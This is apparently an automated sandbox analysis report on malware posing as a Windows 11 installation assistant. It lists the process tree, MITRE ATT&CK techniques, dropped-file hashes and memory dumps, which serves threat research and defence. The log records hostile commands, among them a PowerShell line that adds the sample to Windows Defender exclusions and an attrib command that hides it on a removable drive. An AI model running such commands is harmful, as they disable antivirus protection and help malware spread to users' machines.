    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zqzvg4kl\zqzvg4kl.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5880
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD306.tmp" "c:\Users\Admin\AppData\Local\Temp\zqzvg4kl\CSCF89798EBD862486387BF8F2B43B53AB.TMP"
      4⤵
      PID:1824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3932
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\Windows11InstallationAssistant.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 ca8448289f320afbd768f69dd39fca027f3e1456c8209d6c78016268f9dbe2d4
MD5 5a52de7f8a9e48ba4478204f6de06d96
SHA1 375a28c17df3c938f7b7cdaf8fa195c57113f896
SHA512 d2a918a095c3dddba517e5d6fe20ec8e134c625fd54e90253d33ad8ebff0de9c2d4b2c0fe498127a6d23bee67fe6c21a04b41588b03bb449b851be680fc7cf5b
SSDEEP 384:D1eBaoT1iBGmGW14b5yYSX2f+geCUR+r2PWFiIAgF4QLMWuW8PKlMvYbhNzPMlR9:RexZ6GlWid5SXW+TR+6HIA4fLDdjbhN4
TLSH
T1D0A2B578213F6DC7D8D226B410D10AE7FBE4D489DAB611D8BF1BDE2F4C90AB64E60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESD306.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESD306.tmp
Size 1KB
SHA256 ab31b1b2fd40b2911bd7929fcbf174ecfd0cc24cf3428674670824d5310a5471
MD5 cd4c2acfcf36bef28f004003c4d5bef3
SHA1 f3ec5024ac21edbe87ac12577439269046835024
SHA512 2bfe1b0a828e6a0cfedc358b0cd5b8504b3e56f7fbc2b3f74df3367528f09f38f95f4a0ef9b0adb09b37ddfa1797c88b061460c7fbfbbcecc7ecbf2c494e5835
TLSH
T14021EF0593E98B1FF073573179F6632FA239FDA4EF62935A8940422D1C41548EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_30dp0jdq.5w2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30dp0jdq.5w2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\tBZt9HWdNO\Display (1).png
Size 544KB
SHA256 2449122c260e1d3cf7d53e7a27d7836bf6bb6a9a9157eadaef88a40493e510e0
MD5 db32cebe05f9b8e856f85b97a41f7a8c
SHA1 79432c12b87e84dd9aff16d3869dc268cb632616
SHA512 e6a2ac2d34349615846cd26a70818d99eeb2031f7ec3588274686776928fdd6bc8fe6118a0ede7e1040ad9f5f66f914b4217b74410bf3ab1841928f995e266e5
SSDEEP 12288:OBKEU0ROCoOmA59dRZev/bDvZ2fke4pgkXpUoPhk92zb5+D1JjzP:ObU0gyr9dfevTd/eEXGoPhAa5+nfP
TLSH
T12AC4236ED3F04945ACD8187B7E940F42076A920F92BC00BF946074496CAFE7C676BA5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zqzvg4kl.dll

Path C:\Users\Admin\AppData\Local\Temp\zqzvg4kl\zqzvg4kl.dll
Size 4KB
SHA256 81aa476d4cb6a1e3b6bc6a49081c6741cdac0b8b20a55540817a0436953ad406
MD5 ddc464541088fefe569d41938a0d342c
SHA1 65044f6799e8cb9b8df4cbdfbe9959050c72b161
SHA512 79643a25781ab8d5687ef07d7f7a6bb4be3b864c438ad59186aeb75e1bc722ce95f4b49a74b50b762c346a557eebd4a7275dfbcdba0a06b03e0695370e35fd36
TLSH
T1FB8133169398856AF07E0B75AEE383471B75A9109A22E34F1C84121CAC313606B65FB6
MD5 SHA1 SHA512 TLSH

Submit Download

Windows11InstallationAssistant.exe

Path F:\Windows11InstallationAssistant.exe
Size 10.8MB
SHA256 8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b
MD5 054eff0d283c6a0e4838a8af083ddc6d
SHA1 767b62882f5ecfbb922e1f7c1172992a9482907e
SHA512 c679f023e2eb5cd385d70415061169c652f1aa2438444b407a9bb1a75a5ddc56efd64df16506469e43513fcefcfc61bd9da5869378bd72e4d54ca6b82d9dec1c
SSDEEP 98304:sFZvUYyoAKnipv1sWUTmL1ddKx2AR3vb/kQaQbmjJiy8ELPo:a3TipRxKx2ABrk/F1LPo
TLSH
T155B63841EADB86F1F9431871516BB37F13301E098F25CBABEB443F6AE9376910936246
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

autorun.inf

Path F:\autorun.inf
Size 91B
SHA256 4007247521367cf4b29bfdddd2eb197aeaec325eafa745fbea6a59f880f8e948
MD5 9a71501dd3cbbe2d66ec3c9460379cb2
SHA1 1aefee78b8f1ef3e630aff2349571bec5280edff
SHA512 605ac01752d6985b8a8c4b1e1cab41c8e7e67d9cff8d2519b563183a59b8f9c1a1bbcdf2ac8fabfb971495c5595280afaa7e5189b833d18022f041a37934b1a7
TLSH
T182B012304434D2584557090DC00B8E5D175DB00C1560006003A861C0F820C0B47000D2
MD5 SHA1 SHA512 TLSH

Submit Download

CSCF89798EBD862486387BF8F2B43B53AB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zqzvg4kl\CSCF89798EBD862486387BF8F2B43B53AB.TMP
Size 652B
SHA256 aef26cd4f469f00207492a64c8b044b3f8df23fb2e6b4c241cd8b8e378ef5509
MD5 581adb8e49d5c52620a42d20876cb535
SHA1 91bfb1677f1db4cb01942ddfd8d6bff195ef74cc
SHA512 9ab0102fabb74f54c2e99e3ae859176bd512107b02b34617a24e9f435ee257dd80f28cb7f8fa16a9f6cf84ffd34602cc0ef90676f121821ad0ceff1d0b606111
TLSH
T19CF05E0963F8420EF0F34B70BEF6836791A9BCA4DE3293ED2840031928645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

zqzvg4kl.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zqzvg4kl\zqzvg4kl.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
TLSH
T159114EF8AD2FD65A44336B37FE7B5484EF3613A3022A911ABD8C41244F3185493AAE59
MD5 SHA1 SHA512 TLSH

Submit Download

zqzvg4kl.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zqzvg4kl\zqzvg4kl.cmdline
Size 607B
SHA256 7d39b1558ac8b96804273f2ab6196815d86c4fbba9c01b7a82a670d9a84c9017
MD5 16b360a9dcee6bb9a1720120f4b240c4
SHA1 37af570ff960c61f1e167817125b3170a31e60f1
SHA512 efffc7ed038b598213ede2845442aa4c1961842d0ce405640ef1ae6698c99936921eae0109896972e9cbd576ae73d6269b83972806a8a46d1497661ef6509c3e
TLSH
T1E1F07836023BC5BE46EA3443156E8AFCD67B034B3482AF5C6585C81EE5630004B917E0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3304-24-0x0000000005990000-0x0000000005CEB000-memory.dmp

Download

memory/3304-74-0x0000000004CD0000-0x0000000004CD8000-memory.dmp

Download

memory/3304-10-0x00000000737E2000-0x00000000737E3000-memory.dmp

Download

memory/3304-30-0x0000000005E80000-0x0000000005E9E000-memory.dmp

Download

memory/3304-33-0x0000000005F40000-0x0000000005F8C000-memory.dmp

Download

memory/3304-42-0x0000000007500000-0x0000000007B7C000-memory.dmp

Download

memory/3304-43-0x0000000006410000-0x000000000642A000-memory.dmp

Download

memory/3304-52-0x0000000007270000-0x0000000007302000-memory.dmp

Download

memory/3304-53-0x0000000008140000-0x00000000086FA000-memory.dmp

Download

memory/3304-81-0x00000000737D0000-0x0000000073F8C000-memory.dmp

Download

memory/3304-23-0x00000000737D0000-0x0000000073F8C000-memory.dmp

Download

memory/3932-17-0x00000000737D0000-0x0000000073F8C000-memory.dmp

Download

memory/3932-61-0x0000000006DE0000-0x0000000006E16000-memory.dmp

Download

memory/3932-21-0x0000000005630000-0x0000000005696000-memory.dmp

Download

memory/3932-65-0x0000000006200000-0x0000000006220000-memory.dmp

Download

memory/3932-68-0x0000000006E20000-0x0000000006EC3000-memory.dmp

Download

memory/3932-16-0x00000000737D0000-0x0000000073F8C000-memory.dmp

Download

memory/3932-15-0x0000000004F70000-0x00000000055BA000-memory.dmp

Download

memory/3932-62-0x0000000070770000-0x00000000707BC000-memory.dmp

Download

memory/3932-14-0x00000000737D0000-0x0000000073F8C000-memory.dmp

Download

memory/3932-75-0x0000000006FE0000-0x0000000006FEA000-memory.dmp

Download

memory/3932-77-0x00000000071E0000-0x0000000007276000-memory.dmp

Download

memory/3932-22-0x00000000056A0000-0x0000000005706000-memory.dmp

Download

memory/3932-13-0x0000000002730000-0x0000000002766000-memory.dmp

Download

memory/3932-20-0x0000000004F20000-0x0000000004F42000-memory.dmp

Download

memory/3932-96-0x00000000737D0000-0x0000000073F8C000-memory.dmp

Download